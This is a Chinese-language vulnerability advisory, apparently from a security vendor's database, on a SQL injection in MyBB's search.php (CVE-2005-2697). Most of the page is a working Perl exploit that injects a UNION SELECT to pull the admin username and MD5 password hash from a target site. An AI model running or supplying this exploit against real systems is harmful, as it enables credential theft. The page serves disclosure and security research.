首页 -> 安全研究
安全研究
安全漏洞
MyBB search.php远程SQL注入漏洞
发布日期:2005-08-22
更新日期:2005-08-22
受影响系统:
MyBB MyBB rc4描述:
MyBB MyBB rc3
MyBB MyBB rc2
MyBB MyBB rc1
BUGTRAQ ID: 14615
CVE ID: CVE-2005-2697
MyBB是一款用PHP和MySQL开发的论坛程序。
MyBB处理用户请求时存在SQL注入漏洞,远程攻击者可以利用此漏洞非授权操作数据库。
MyBB的search.php脚本没有充分检查过滤uid参数数据,远程攻击者可以在输入中插入特定的SQL语句操作数据库,导致敏感信息泄露、非授权控制服务、数据库破坏。
<*来源:s2b (s2b@hotmail.com)
HACKERS PAL (security@soqor.net)
Devil-00
ABDUCTER
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112448791006470&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl -w
use LWP::Simple;
if(!$ARGV[0] or !$ARGV[1] or !$ARGV[2]){
print "#################[ MyBB SQL-Injection ]############################\n";
print "# Coded By Devil-00 [ sTranger-killer ] #\n";
print "# Exmp:- mybb.pl www.victem.com mybb 0 0 || To Get Search ID #\n";
print "# Exmp:- mybb.pl www.victem.com mybb searchid 1 || To Get MD5 Hash #\n";
print "# Thnx For [ Xion - HACKERS PAL - ABDUCTER ] #\n";
print "################################################## #################\n";
exit;
}
my $host = 'http://'.$ARGV[0];
my $searchid = $ARGV[2];
if($ARGV[3] eq 0){
print "[*] Trying $host\n";
$url = "/".$ARGV[1]."/search.php?action=finduser&uid=-1' UNION SELECT \
uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,ui d,uid,uid,username,password FROM \
mybb_users where usergroup=4 and uid=1/*"; $page = get($host.$url) || die "[-] \
Unable to retrieve: $!"; print "[+] Connected to: $host\n";
$page =~ m/<a href="search\.php\?action=results&sid=(.*?)&sortby=&order=">/ && print \
"[+] Search ID To Use : $1\n"; exit;
}else{
print "[*] Trying $host\n";
$url = "/".$ARGV[1]."/search.php?action=results&sid=$searchid&sortby=&order=";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
$page =~ m/<a href="member\.php\?action=profile&\;uid=1">(.*?)<\/a>/ && print \
"[+] User ID is: $1\n"; print "[-] Unable to retrieve User ID\n" if(!$1);
$page =~ m/<a href="forumdisplay\.php\?fid=1">(.*?)<\/a>/ && print "[+] MD5 hash of \
password is: $1\n"; print "[-] Unable to retrieve hash of password\n" if(!$1);
}
建议:
厂商补丁:
MyBB
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.mybboard.com/
浏览次数:4180
严重程度:0(网友投票)
绿盟科技给您安全的保障